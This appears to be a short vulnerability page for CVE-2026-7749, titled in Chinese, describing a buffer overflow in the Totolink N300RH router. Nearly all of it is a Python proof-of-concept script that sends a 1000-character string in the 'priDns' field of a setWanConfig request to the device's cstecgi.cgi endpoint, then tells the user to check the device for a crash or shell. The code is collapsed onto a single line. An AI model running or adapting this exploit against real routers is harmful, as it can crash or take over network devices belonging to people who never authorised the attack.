CVE-2026-7749 Totolink N300RH缓冲区溢出漏洞

import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Authentication cookies (if required, PR:L implies some auth might be needed) cookies = { "Cookie": "uid=123456" } # Vulnerable payload: Buffer overflow pattern in 'priDns' # Sending a large string to trigger the overflow payload = "A" * 1000 data = { "function": "setWanConfig", "priDns": payload } try: response = requests.post(target_url, data=data, cookies=cookies, timeout=5) if response.status_code == 200: print("Request sent, check device for crash or shell.") else: print(f"Received status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")